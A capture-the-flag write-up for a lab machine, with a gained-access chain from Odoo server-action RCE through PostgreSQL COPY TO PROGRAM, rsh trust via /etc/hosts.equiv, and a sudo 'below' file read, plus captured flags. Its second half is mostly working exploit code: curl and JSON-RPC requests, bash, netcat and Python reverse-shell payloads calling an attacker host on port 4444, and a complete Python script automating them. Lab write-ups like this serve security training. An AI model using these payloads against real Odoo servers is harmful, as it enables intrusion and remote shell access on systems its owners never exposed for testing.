Dodo - HC Writeup

2026-01-19·10 min read·
ctfodoopostgresqllateral-movementprivilege-escalation

Difficulty: Medium
Target IP: 172.16.1.51
Flags:

  • User Flag: hackingclub{2248ed677fe0fea193c5c4b56b6c1356}
  • Root Flag: hackingclub{6250f4dcf856baeb9d97493db0bf6d0e}

Summary

This CTF involved exploiting an Odoo server to gain RCE as the postgres user, then leveraging a misconfigured rsh service with a permissive /etc/hosts.equiv to pivot to the tx user, and finally escalating to root via a sudo misconfiguration with the /usr/bin/below binary.


Enumeration

Initial Access

The machine was running an Odoo web application vulnerable to RCE via server actions. Initial access was gained as the postgres user through the Odoo exploit.

PostgreSQL Enumeration

Once inside as postgres, we enumerated the PostgreSQL database:

$bash
psql -U postgres -c "\du"

Key Finding: The postgres user is a superuser with full database privileges:

  • rolsuper: true
  • Bypass RLS: true
$code
                             List of roles
 Role name |                         Attributes                         
-----------+------------------------------------------------------------
 odoo      | Superuser
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS

Database Discovery

Multiple databases were found:

$sql
SELECT datname FROM pg_database;

Databases:

  • postgres (default)
  • odoo (Odoo application database)
  • mocoto (suspicious custom database)
  • template0, template1

PostgreSQL Extensions

Useful extensions were discovered:

$sql
\dx

Installed:

  • dblink - connect to other databases
  • plpgsql - procedural language

Available:

  • adminpack - administrative functions
  • file_fdw - foreign data wrapper for file access

Lateral Movement - rsh Service Discovery

Service Enumeration

We used PostgreSQL's COPY FROM PROGRAM to execute system commands:

$sql
DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(output TEXT);
COPY cmd_output FROM PROGRAM 'netstat -tlnp 2>&1';
SELECT * FROM cmd_output;

Critical Finding: rsh services listening on ports 513 and 514!

$code
LISTEN 0      128          0.0.0.0:513       0.0.0.0:*      (rsh)
LISTEN 0      128          0.0.0.0:514       0.0.0.0:*      (rlogin)

SUID binaries found:

$bash
/usr/bin/rsh-redone-rsh     (rwsr-xr-x)
/usr/bin/rsh-redone-rlogin  (rwsr-xr-x)

rsh Configuration Analysis

/etc/hosts.equiv

$bash
cat /etc/hosts.equiv

Output: +

This single + means "trust all hosts" - a critical misconfiguration!

PAM Configuration (/etc/pam.d/rsh)

$code
#%PAM-1.0
auth       sufficient   pam_rhosts.so
auth       required     pam_deny.so
account    required     pam_unix.so
session    required     pam_unix.so

The pam_rhosts.so module checks .rhosts files and hosts.equiv for authentication.


Exploitation - rsh to User tx

The Attack Vector

With /etc/hosts.equiv containing +, the rsh service trusts connections from all hosts. However, it still requires proper username matching.

Creating Matching User Locally

On the attacker machine (Arch Linux):

$bash
# Create user 'tx' to match target username
sudo useradd -m -s /bin/bash tx
 
# Switch to that user
sudo su - tx

Connecting via rsh

From the attacker machine as user tx:

$bash
# Test connection
rsh -l tx 172.16.1.51 whoami
# Output: tx
 
# Read user flag
rsh -l tx 172.16.1.51 "cat /home/tx/user.txt"
# Output: hackingclub{2248ed677fe0fea193c5c4b56b6c1356}
 
# Get interactive shell
rsh -l tx 172.16.1.51

User Flag: hackingclub{2248ed677fe0fea193c5c4b56b6c1356}


Privilege Escalation to Root

Sudo Enumeration

$bash
sudo -l

Output:

$code
User tx may run the following commands on ip-172-16-1-51:
    (root) NOPASSWD: /usr/bin/below

The user tx can run /usr/bin/below as root without a password!

What is 'below'?

below is a system monitoring tool that can read configuration files. The --config flag allows specifying a configuration file path.

Exploitation

$bash
# Attempt to use below to read files as root
sudo /usr/bin/below --config /root/root.txt
# Error: No such file or directory
 
# Try alternative filename
sudo /usr/bin/below --config /root/r0oT.txt

Output:

$code
Failed to parse config file /root/r0oT.txt: TOML parse error at line 1, column 12
  |
1 | hackingclub{6250f4dcf856baeb9d97493db0bf6d0e}
  |            ^
key with no value, expected `=`

hackingclub{6250f4dcf856baeb9d97493db0bf6d0e}

The below binary tried to parse /root/r0oT.txt as a TOML configuration file, failed, but displayed the file contents in the error message!

Root Flag: hackingclub{6250f4dcf856baeb9d97493db0bf6d0e}


Key Vulnerabilities

  1. Odoo RCE - Initial access via vulnerable server actions
  2. hosts.equiv Misconfiguration - /etc/hosts.equiv containing + allows trust from all hosts
  3. rsh Service Exposed - Ports 513/514 listening on 0.0.0.0
  4. Sudo Misconfiguration - User tx can run /usr/bin/below as root with NOPASSWD
  5. File Read via Config Parsing - below --config displays file contents in error messages

Lessons Learned

For Defenders

  1. Never use + in /etc/hosts.equiv - This trusts ALL hosts
  2. Disable rsh/rlogin services - Use SSH instead (rsh transmits credentials in plaintext)
  3. Restrict sudo privileges - Avoid allowing file-reading binaries with sudo
  4. Principle of Least Privilege - Database users shouldn't need RCE capabilities
  5. Audit PAM configurations - pam_rhosts.so is dangerous in modern environments

For Attackers

  1. PostgreSQL COPY FROM PROGRAM - Superuser can execute system commands
  2. Check legacy services - rsh, rlogin, telnet often have weak security
  3. Enumerate /etc/hosts.equiv - Single + is a goldmine
  4. Username matching - Some services (like rsh) rely on username matching across systems
  5. GTFOBins - Many binaries can read files when run with sudo (below, less, more, vim, etc.)

Commands Reference

PostgreSQL Command Execution

$sql
DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(output TEXT);
COPY cmd_output FROM PROGRAM 'whoami';
SELECT * FROM cmd_output;

rsh Connection

$bash
# From attacker machine
rsh -l <username> <target_ip> <command>
rsh -l tx 172.16.1.51 "cat /home/tx/user.txt"

Sudo File Read via below

$bash
sudo /usr/bin/below --config /path/to/file

Timeline

  1. Initial Access → Odoo RCE as postgres user
  2. Enumeration → PostgreSQL superuser privileges discovered
  3. Service Discovery → rsh ports 513/514 found listening
  4. Config Analysis → /etc/hosts.equiv contains +
  5. Lateral Movement → Created matching user locally, connected via rsh as tx
  6. User Flag → hackingclub{2248ed677fe0fea193c5c4b56b6c1356}
  7. Privilege Escalation → Exploited sudo below to read root flag
  8. Root Flag → hackingclub{6250f4dcf856baeb9d97493db0bf6d0e}

Tools Used

  • psql - PostgreSQL client
  • rsh / rsh-redone-rsh - Remote shell client
  • sudo - Privilege escalation
  • netstat / ss - Network enumeration

Tags

#ctf #postgresql #rsh #privilege-escalation #lateral-movement #sudo #misconfiguration #hostsfile


Completed: 2026-02-01
Author: CTF Player


Detailed Exploitation Techniques

Initial Access - Odoo RCE (Manual Method)

The Odoo application was vulnerable to Remote Code Execution via Server Actions. Here's the manual exploitation process:

Step 1: Understanding the Vulnerability

Odoo allows authenticated users to create "Server Actions" (ir.actions.server) which execute Python code. Combined with PostgreSQL's COPY TO PROGRAM, this enables system command execution.

Exploit Chain:

$code
Odoo Server Action → Python Code → env.cr.execute() → PostgreSQL COPY TO PROGRAM → Bash Command

Step 2: Create Server Action (Manual)

HTTP Request:

$http
POST /web/dataset/call_kw HTTP/1.1
Host: business.tx.hc
Content-Type: application/json
Cookie: session_id=YOUR_SESSION_ID_HERE
 
{
  "jsonrpc": "2.0",
  "method": "call",
  "params": {
    "model": "ir.actions.server",
    "method": "create",
    "args": [{
      "name": "ReverseShell",
      "state": "code",
      "model_id": 1,
      "code": "env.cr.execute(\"COPY (SELECT '') TO PROGRAM 'bash -c \\\"bash -i >& /dev/tcp/10.0.35.83/4444 0>&1\\\"'\")"
    }]
  },
  "id": 1
}

Using curl:

$bash
curl -X POST http://business.tx.hc/web/dataset/call_kw \
  -H 'Content-Type: application/json' \
  -H 'Cookie: session_id=YOUR_SESSION_ID' \
  -d @- <<'EOF'
{
  "jsonrpc": "2.0",
  "method": "call",
  "params": {
    "model": "ir.actions.server",
    "method": "create",
    "args": [{
      "name": "ReverseShell",
      "state": "code",
      "model_id": 1,
      "code": "env.cr.execute(\"COPY (SELECT '') TO PROGRAM 'bash -c \\\"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\\\"'\")"
    }]
  },
  "id": 1
}
EOF

Response:

$json
{
  "jsonrpc": "2.0",
  "id": 1,
  "result": 123  // This is your action_id
}

Step 3: Execute the Server Action

$bash
curl -X POST http://business.tx.hc/web/dataset/call_kw \
  -H 'Content-Type: application/json' \
  -H 'Cookie: session_id=YOUR_SESSION_ID' \
  -d '{
    "jsonrpc": "2.0",
    "method": "call",
    "params": {
      "model": "ir.actions.server",
      "method": "run",
      "args": [[123]]
    },
    "id": 2
  }'

Step 4: Catch Reverse Shell

On attacker machine:

$bash
nc -lvnp 4444

Expected output:

$code
Listening on 0.0.0.0 4444
Connection received on 172.16.1.51 xxxxx
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
bash: no job control in this shell
postgres@ip-172-16-1-51:/var/lib/postgresql/16/main$

Alternative Payloads

Netcat (mkfifo):

$python
env.cr.execute("COPY (SELECT '') TO PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.35.83 4444 >/tmp/f'")

Python3 Reverse Shell:

$python
env.cr.execute("""COPY (SELECT '') TO PROGRAM 'python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.35.83\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])"'""")

Background Shell (non-blocking):

$python
env.cr.execute("COPY (SELECT '') TO PROGRAM 'nohup bash -c \"bash -i >& /dev/tcp/10.0.35.83/4444 0>&1\" &'")

Automated Exploitation Scripts

Reverse Shell Script (Python)

For convenience, an automated Python script was created to try multiple reverse shell payloads:

File: reverse_shell.py

$python
#!/usr/bin/env python3
"""
Odoo RCE - Reverse Shell Automation
Target: business.tx.hc
Attacker: 10.0.35.83:4444
"""
 
import requests
import json
import time
 
TARGET_HOST = "business.tx.hc"
BASE_URL = f"http://{TARGET_HOST}"
 
# Update with your session cookie
COOKIES = {
    'tz': 'America/Sao_Paulo',
    'cids': '1',
    'frontend_lang': 'en_US',
    'session_id': 'YOUR_SESSION_ID_HERE'
}
 
HEADERS = {'Content-Type': 'application/json'}
 
def jsonrpc_call(method, params):
    """Make JSON-RPC call to Odoo"""
    url = f"{BASE_URL}/web/dataset/call_kw"
    payload = {"jsonrpc": "2.0", "method": "call", "params": params, "id": 1}
    try:
        response = requests.post(url, json=payload, cookies=COOKIES, headers=HEADERS, timeout=15)
        return response.json()
    except Exception as e:
        return None
 
def run_shell_payload(name, code):
    """Create and execute server action with payload"""
    print(f"\n[*] Attempting: {name}")
 
    # Create server action
    params = {
        "model": "ir.actions.server",
        "method": "create",
        "args": [{"name": name, "state": "code", "model_id": 1, "code": code}],
        "kwargs": {}
    }
 
    result = jsonrpc_call("create", params)
    if not result or 'result' not in result:
        print(f"[!] Failed to create action")
        return None
 
    action_id = result['result']
    print(f"[+] Created action ID: {action_id}")
 
    # Execute server action
    params = {
        "model": "ir.actions.server",
        "method": "run",
        "args": [[action_id]],
        "kwargs": {}
    }
 
    print(f"[+] Executing reverse shell...")
    jsonrpc_call("run", params)
    time.sleep(2)
    return action_id
 
# Multiple reverse shell payloads
PAYLOADS = {
    "bash_tcp": """
# Bash TCP reverse shell
try:
    env.cr.execute("COPY (SELECT '') TO PROGRAM 'bash -c \\"bash -i >& /dev/tcp/10.0.35.83/4444 0>&1\\"'")
    log("Bash reverse shell executed")
except Exception as e:
    log(f"Bash shell failed: {e}")
""",
 
    "nc_traditional": """
# Netcat traditional reverse shell
try:
    env.cr.execute("COPY (SELECT '') TO PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.35.83 4444 >/tmp/f'")
    log("NC reverse shell executed")
except Exception as e:
    log(f"NC shell failed: {e}")
""",
 
    "python3": """
# Python3 reverse shell
try:
    env.cr.execute(\"\"\"COPY (SELECT '') TO PROGRAM 'python3 -c \\"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\\"10.0.35.83\\\\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\\\"/bin/sh\\\\",\\\\"-i\\\\"])\\"'\"\"\")
    log("Python3 reverse shell executed")
except Exception as e:
    log(f"Python3 shell failed: {e}")
""",
 
    "background_bash": """
# Background bash shell (won't block)
try:
    env.cr.execute("COPY (SELECT '') TO PROGRAM 'nohup bash -c \\"bash -i >& /dev/tcp/10.0.35.83/4444 0>&1\\" &'")
    log("Background bash shell executed")
except Exception as e:
    log(f"Background bash failed: {e}")
""",
}
 
def main():
    print("="*70)
    print("Odoo RCE - Reverse Shell to 10.0.35.83:4444")
    print("="*70)
    print("\n[!] Make sure you have a listener running:")
    print("    nc -lvnp 4444")
    print("\n[*] Trying multiple reverse shell methods...")
 
    for name, payload in PAYLOADS.items():
        run_shell_payload(f"RevShell_{name}", payload)
        print(f"[*] Waiting 3 seconds before next attempt...")
        time.sleep(3)
 
    print("\n[*] All payloads sent. Check your listener!")
    print("[*] If no connection, check:")
    print("    - Firewall rules on 10.0.35.83")
    print("    - Network connectivity from target")
    print("    - Port 4444 is listening")
 
if __name__ == "__main__":
    main()

Usage:

  1. Update session_id in the COOKIES dictionary
  2. Update IP address (10.0.35.83) to your attacking machine
  3. Start netcat listener: nc -lvnp 4444
  4. Run the script: python3 reverse_shell.py

Output:

$code
======================================================================
Odoo RCE - Reverse Shell to 10.0.35.83:4444
======================================================================

[!] Make sure you have a listener running:
    nc -lvnp 4444

[*] Trying multiple reverse shell methods...

[*] Attempting: bash_tcp
[+] Created action ID: 123
[+] Executing reverse shell...
[*] Waiting 3 seconds before next attempt...

[*] Attempting: nc_traditional
[+] Created action ID: 124
[+] Executing reverse shell...
...

Attack Flow Diagram

$code
[Attacker] 
    |
    | 1. HTTP POST /web/dataset/call_kw
    v
[Odoo Web Application]
    |
    | 2. Create ir.actions.server with Python code
    v
[Odoo Backend - Python]
    |
    | 3. env.cr.execute() → COPY TO PROGRAM
    v
[PostgreSQL Database - Superuser]
    |
    | 4. Execute system command
    v
[Bash Reverse Shell]
    |
    | 5. Connection back to attacker
    v
[Attacker - postgres shell]